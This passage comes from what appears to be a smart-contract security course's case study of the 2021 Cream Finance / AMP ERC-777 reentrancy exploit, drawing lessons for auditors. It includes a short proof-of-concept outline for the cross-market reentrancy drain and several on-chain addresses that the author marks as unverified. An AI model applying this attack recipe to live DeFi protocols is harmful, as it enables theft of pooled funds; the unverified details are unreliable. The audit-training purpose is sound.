The October hit was un-survivable. Cream’s TVL fell from ~50M in a few weeks. The protocol effectively wound down its Ethereum operations. The Iron Bank lending business was eventually rebranded and migrated under the Yearn umbrella [verify status].

6.3 Industry-level consequences

  • ERC-777 became a hard-no on integration whitelists. Aave v2/v3, Compound v3, MakerDAO, and most major lending protocols explicitly exclude tokens that fire transfer callbacks. Cream’s pain became the industry’s playbook.
  • “Protocol-wide reentrancy lock” entered the canon. Compound v2’s per-cToken lock is now widely considered insufficient; forks ship with a Comptroller-level mutex.
  • The “all transfers are external calls” framing — popularized in Sigma Prime / Trail of Bits writeups post-Cream — re-shaped how auditors review token integrations. Any IERC20.transfer(x, …) to an unknown counterparty is now read as unknown_contract.call(…) until proven otherwise.
  • Token-allowlist hygiene tightened. Many protocols now require not just “this token is an ERC-20” but “this token is on the explicit allowed-token list, with documented review for FOT / rebase / callback / blacklist / upgradeability.” Listing committees take weeks instead of hours.
  • Cream’s broader trajectory — three hacks in one year totaling ~$200M — became a teaching case for governance hygiene under loss: how to communicate, when to pause, how to manage attacker negotiations, when to wind down. Subsequent post-mortems (Euler, Mango, Curve) drew explicit playbook lessons from Cream’s handling.

6.4 What changed in Compound itself

Compound v2 — Cream’s ancestor — had the same Interactions-before-Effects ordering in borrowFresh. Compound was not exploited because Compound’s token allowlist was narrow (USDC, DAI, ETH, WBTC, a handful of others) and none of those tokens implement ERC-777 hooks. Compound v3 (Comet, released 2022) was rewritten with stricter token integration rules and a single-borrowable-asset-per-market design that further reduces cross-market reentrancy surface.

This is the key meta-lesson: the same code is safe with one set of inputs (vanilla ERC-20s) and exploitable with another (ERC-777s). The audit unit is not “the contract” — it is “the contract + the set of assets it ever interacts with.”


7. Lessons for Auditors

7.1 ERC-777 is a reentrancy entry point — full stop

The most important reflex to develop from this case:

Every transfer of an ERC-777 token (or any callback-firing token) is a potential reentrancy entry point, even if the calling code uses IERC20.transfer.

Practical implications:

  • When reviewing any function that calls IERC20(token).transfer(...) or transferFrom(...), ask: “What if token fires a callback during this call? Can the recipient re-enter this contract? What state has not yet been updated?”
  • If the answer is “the recipient can re-enter and read pre-update state to gain anything,” the bug is critical regardless of whether the current whitelisted tokens fire callbacks.
  • The reflex applies to ERC-721 onERC721Received, ERC-1155 onERC1155Received/onERC1155BatchReceived, ERC-4626 hooks (rare but used), and flash-loan callbacks (FlashLender, Aave’s executeOperation, etc.) — every standard with a “we’ll call you back during this transfer” pattern.

7.2 “Token allowlist” is not enough — tokens can change

Cream’s listing process did vet AMP. The ERC-777 status was knowable. The mistake was treating the allowlist as a static defense:

  • Tokens can upgrade. Many tokens behind transparent proxies (e.g., some stablecoins, some governance-controlled assets) can change their underlying implementation. A token that was vanilla ERC-20 at listing can become ERC-777-like with a single proxy upgrade. The integration must defend against the token’s future behavior, not just its launch behavior.
  • Tokens can have admin-controlled hooks. Some tokens let an admin add or remove transfer hooks via setter functions — the AMP token itself didn’t, but several other production tokens do.
  • Pause / blacklist functions are another version of the same risk: a token integration that assumes “transfer always succeeds” breaks when the token gains a blacklist that returns false (or reverts) on specific addresses.

The audit deliverable should include: “Even on the assumption that all whitelisted tokens are well-behaved today, the contract must remain safe if a whitelisted token becomes (a) callback-firing, (b) pausable, (c) blacklisting, or (d) fee-on-transfer in the future.” If the contract relies on token behavior to maintain its invariants, that reliance must be documented and the token must be made immutable at the protocol level.

7.3 Apply CEI structurally, not per-function

Cream’s per-function nonReentrant was a runtime guard, not a structural property. CEI applied across the whole protocol would have prevented the exploit:

  • borrow writes accountBorrows and totalBorrows before doTransferOut.
  • redeem updates the redeemer’s cToken balance before transferring the underlying.
  • repayBorrow updates accountBorrows before transferring (in case the underlying is a callback-token that re-enters during a transferFrom).
  • Any function that emits external state changes (events, callbacks, transfers) does so only after all storage writes are complete.

The audit-friendly formulation: walk down every state-changing function and ensure that the last statement in the function body before any return or external call has updated every storage slot that subsequent reads might depend on. This is the single most reliable structural defense against reentrancy.

7.4 Protocol-wide mutex is cheap insurance

Compound’s per-cToken nonReentrant was the wrong granularity for the Cream attack. Two architectural choices would have caught it:

  • Comptroller-level mutex: a single flag in the Comptroller, set on entry to any cToken state-mutating function and cleared on exit. Cost: one warm SSTORE per call (~2,900 gas). Effect: complete prevention of cross-cToken reentrancy.
  • Module-graph mutex: each market function calls Comptroller.enterX(market) / exitX(market); the Comptroller checks that no other market is currently in a state-mutating call. Slightly more granular than a single global flag.

The cost is gas; the value is “we don’t have to be perfect on CEI.” This is defense-in-depth — and given how often new developers reintroduce CEI violations during refactors, the structural insurance is worth paying for.

7.5 Composability is the audit unit

The Cream / AMP exploit lived in the gap between two independently-correct systems:

  • AMP correctly implements ERC-777, firing tokensReceived per spec.
  • Cream correctly implements Compound v2’s lending logic.
  • The composition is broken.

This is the same failure mode as The DAO: withdrawRewardFor is correct; splitDAO is correct; the composition is deadly. An auditor’s mental model must treat compositions as the unit of review. Concretely:

  • For each external call your contract makes, ask: “What is the trust boundary I’m crossing? What can the called code do? What state of mine must be correct before I leave my contract?”
  • For each external call into your contract, ask: “What is the caller-controlled state I’m trusting? What invariants must I check on entry?”
  • Map all composition graphs in the protocol — every callback edge, every external-call edge, every event hook. A protocol with N cTokens and an M-asset whitelist has N×M composition pairs to audit. Many of them won’t have surprises. The ones that do are where the bugs live.

7.6 Flash-loan-amplification turns “small bug, small loss” into “small bug, total loss”

Without flash loans, the AMP/Cream bug still works — but the attacker is limited by their own capital. The maximum drain per transaction is bounded by the attacker’s collateral.

With flash loans, the bug scales to the protocol’s total liquidity. The attacker borrows enormous collateral for one block, executes the drain, and repays the loan from the proceeds.

The audit lesson: in any protocol that interacts with flash-loanable assets, you must assume the attacker can momentarily hold an arbitrarily large position. Defenses that work for “the median attacker has $10K of seed capital” do not work in the flash-loan world. Either:

  • Make the bug structurally impossible (CEI; mutex; oracle-design choices that resist manipulation in a single block — e.g., TWAPs over multiple blocks).
  • Or assume the protocol-wide invariant holds even when attackers hold $1B of position for one block.

There is no middle ground. Flash loans make every economic invariant a single-block invariant.


8. What You Would Have Caught (Pre-Attack Auditor Exercise)

If MarketAMP.borrow (or its Compound-v2 equivalent) landed in your inbox today, here is what should fire on first read.

8.1 Immediate fires (under 60 seconds)

SignalWhy it fires
amp.transfer(msg.sender, amount) followed by comptroller.recordBorrowAMP(...)I before E. The cardinal CEI violation. Reflex flag, every time.
amp is an external token contract whose ABI you don’t controlamp.transfer is not a “safe subroutine” — it’s a call into an unknown contract. Treat it as unknown_address.call(...).
nonReentrant modifier exists per-market onlyCross-market re-entry isn’t blocked. In a multi-market protocol with a shared Comptroller, the mutex granularity is wrong.
Comptroller’s borrowAllowed reads accountBorrows[user] from storageIf borrowAllowed is called during a reentry where another market hasn’t yet written its borrow, the check is stale. The check is a snapshot of “what the comptroller knows,” not “what the user has actually borrowed in-flight.”
No mention of token-callback behavior in the integration’s review notesA token integration review that doesn’t explicitly answer “does this token fire transfer callbacks?” is incomplete.

8.2 Secondary signals (next 5 minutes)

  • Whitelist for accepted underlyings is broad — Cream’s listing process accepted long-tail tokens. Any “we accept tokens X, Y, Z, and we’ll add more” model is high-risk for callback-class tokens.
  • No mention of ERC-1820 in the codebase or audit notes — the registry where ERC-777 implementers register. Greppable for 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24.
  • doTransferOut (or its equivalent) is the same code path for every underlying — vanilla ERC-20 and callback-firing ERC-777 go through the same transfer function. The “we support all ERC-20s” claim is a red flag unless explicitly token-class-filtered.
  • Cross-market user state is summed in getHypotheticalAccountLiquidity — confirms that a re-entry into a different market reads from the same user-state structure, which is mid-update during the reentry.
  • No flash-loan-resistance invariants documented — the protocol does not state assumptions about per-block position size limits. In a flash-loan world, the maximum-borrow is the maximum-collateral, which is unbounded.
  • AMP appears on the whitelist — once you know what to look for, the ERC-1820 registration check on AMP returns non-zero, and the audit-firm finding is mechanical.

8.3 The 60-second auditor verdict

MarketAMP.borrow transfers the underlying to the borrower before the Comptroller writes the new debt. AMP (an ERC-777 token, ERC-1820-registered) fires tokensReceived on the borrower during this transfer. The borrower’s hook can re-enter MarketETH.borrow, where the Comptroller’s liquidity check reads stale cAMP.borrowBalanceStored. The per-market nonReentrant does not span markets. Critical: cross-market reentrancy drain via ERC-777 callback. Attacker can borrow up to (collateral × collateral_factor) per market, summing across N markets, with only enough collateral to qualify for ONE. PoC: deploy a contract that implements IERC777Recipient.tokensReceived, register it in the 1820 registry, deposit collateral, call cAMP.borrow. Estimated exploitability: trivial. Severity: critical (protocol-wide solvency at risk).”

That paragraph plus a 60-line Foundry PoC is the finding.

8.4 The systemic finding (beyond the specific bug)

A complete audit deliverable would frame the finding as a class issue, not a one-bug issue:

“Compound v2’s borrowFresh writes user state after doTransferOut. This pattern is safe for vanilla ERC-20 underlyings but unsafe for any token that fires transfer-time callbacks (ERC-777, certain hooked tokens, and any token that might add hooks in a future upgrade). The protocol’s safety therefore depends on the listing committee’s ability to (a) perfectly identify callback-firing tokens, (b) correctly predict their future behavior, and (c) never add a token that doesn’t meet criteria (a) and (b). This is a fragile defense. The recommended remediation is structural: re-order borrowFresh to write state before doTransferOut, and add a Comptroller-level mutex as defense-in-depth.”

This framing — “the structural defense is cheap; the listing-committee defense is fragile” — is what separates a senior audit deliverable from a junior one. Junior auditors find bugs; senior auditors find bug classes, identify the structural property that would prevent the entire class, and recommend the class-level fix.

8.5 What this teaches about audit methodology

The Cream / AMP bug was findable on paper. Multiple firms had reviewed Compound v2 source. Cream itself had been audited. None of the firms (publicly) raised the ERC-777 callback risk specifically against the AMP listing. Why?

  1. The bug is in the integration, not the source code. Compound v2’s source has the same I-before-E pattern as Cream’s; Compound was unexploited because its allowlist excluded callback tokens. The bug “moved” when Cream added AMP — but no audit was triggered by the listing.
  2. Token reviews are often separate from protocol reviews. The cAMP deployment was a “new market” event, not a “new contract” event. The reviewers of the contract code had already reviewed it; nobody re-reviewed the interaction of that code with the new asset.
  3. Composability is hard to enumerate. Each new listing is a new composition; each new composition is a new audit unit; few firms scale review to every listing.
  4. Bug-class libraries take time. ERC-777 hadn’t yet entered standard audit checklists in early 2021 the way (say) reentrancy had. Post-Cream, every checklist gained an explicit “is the underlying ERC-777 / callback-firing?” item.

The modern auditor’s playbook (Spearbit, Trail of Bits, OpenZeppelin) treats every new asset listing as triggering an integration review. The Cream incident is the proximate reason this practice is now standard.


Cream is one node in a family of reentrancy incidents. The auditor should be able to recite this lineage:

  • The DAO (June 2016) — single-function reentrancy via call.value. Case-The-DAO-Reentrancy-2016
  • imBTC / Uniswap V1 (April 2020) — ERC-777 callback re-enters Uniswap V1 swap. ~$300K loss; the first major ERC-777-class exploit.
  • lendf.me (April 2020) — same week as imBTC; Compound-fork drained via ERC-777 reentry. ~$25M loss.
  • Cream / AMP (August 2021) — this case study. ~$18.8M loss.
  • Cream / yUSD (October 2021) — different bug class (oracle manipulation), but on the same protocol. ~$130M loss.
  • Fei / Rari Capital (April 2022) — reentry on a Compound fork via cToken.borrow. ~$80M loss.
  • Curve Vyper compiler (July 2023) — compiler-emitted reentrancy locks bypassed by a code-generation bug. ~$70M loss. Case-Curve-Vyper-Compiler-2023
  • Penpie / Pendle (September 2024) — reward-claim hook reentered to over-claim. ~$27M loss. Case-Penpie-Pendle-2024

The DAO’s “callback into the same function via fallback” became Cream’s “callback into a different function via token hook” became Curve’s “callback whose lock was generated incorrectly by the compiler” became Penpie’s “callback whose intended trust boundary was violated by accounting hooks.” Same physics. Different shapes.

The auditor who sees a pattern across all eight cases — every external call is a potential re-entry; the granularity of the mutex determines the blast radius — is the auditor who finds the next one.


10. References

Primary post-mortems and analyses

ERC-777 standard and security notes

Source code references

Iron Bank / Cream-Yearn relationship

Earlier ERC-777 reentrancy precedents

Etherscan key addresses

  • cAMP market: 0x892b14321a4FCde8602e83a5C5B3e8E2a7B2C5B9 [verify exact address]
  • Cream Comptroller (v1): 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258 [verify]
  • Attacker EOA (Aug 30 incident): 0x38c40427efbAaE566407e4CdE2A91947Df0bD22B [verify]
  • Attacker contract (Aug 30 incident): see PeckShield trace for the deployed exploit contract address [verify]
  • AMP token: 0xff20817765cb7f73d4bde2e66e067e58d11095c2
  • ERC-1820 registry: 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24

Long-form retrospectives


Last updated: 2026-05-16 · Course: Web3 Security Mastery · Author: vault owner

See also: Tuan-04-Security-Foundations-CEI-AC · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-07-Token-Standards-Integration-Risk · Tuan-08-DeFi-Security-AMM-Lending-Vault · Case-The-DAO-Reentrancy-2016 · Case-Parity-Multisig-2017 · Case-Penpie-Pendle-2024 · Case-Curve-Vyper-Compiler-2023 · Case-Euler-Finance-2023 · audit-checklist-master · Roadmap · References